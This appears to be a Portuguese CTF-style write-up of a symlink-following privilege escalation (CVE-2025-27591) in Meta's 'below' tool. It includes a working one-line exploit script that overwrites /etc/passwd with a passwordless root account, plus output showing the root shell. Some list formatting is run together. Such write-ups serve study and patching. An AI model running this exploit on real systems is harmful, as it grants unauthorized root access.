
CVE-2025-27591 – Meta abaixo seguimento de symlink escalonamento local de privilégios (HackTheBox CTF)
below da Meta| Campo | Detalhes |
|---|---|
| CVE | CVE-2025-27591 |
| Software | Meta below (monitor de recursos do sistema) |
| Versões Afetadas | < 0.9.0 |
| Vulnerabilidade | Seguir symlink → sobrescrita arbitrária de arquivos como root |
| Autenticação | Usuário local com acesso sudo ao below |
| Impacto | Escalação local de privilégios para root |
| Contexto | Descoberto durante o CTF HackTheBox |
A ferramenta de monitoramento de recursos do sistema below (da Meta Platforms, Inc.) contém uma falha em seu mecanismo de registro de erros. Quando invocada via sudo, ela define forçosamente permissões 0666 em seus arquivos de log localizados em /var/log/below/ sem antes verificar se o caminho de destino é um symlink. Isso permite que um atacante local substitua o arquivo de log por um symlink apontando para qualquer arquivo gravável por root, efetivamente sobrescrevendo-o com conteúdo controlado.
O código de registro em below < 0.9.0 executa estas operações em sequência quando executado como root:
/var/log/below/error_root.logchmod(path, 0o666) — sem verificar se é um symlinkNa etapa 4, se o caminho foi substituído por um symlink antes da execução, a gravação vai para o alvo do symlink.
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid" FuncionaPassar uma string de tempo inválida força o below a registrar uma mensagem de erro. O caminho de erro alcança o código de registro que grava cegamente no arquivo, que agora é o nosso symlink.
chmod +x exploit.sh
./exploit.sh
Pré-requisito: O usuário atual deve ter privilégios
sudopara executar/usr/bin/below.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
A vulnerabilidade foi corrigida na versão 0.9.0 do below. A correção introduz uma verificação de symlink antes de qualquer operação de arquivo no caminho de registro.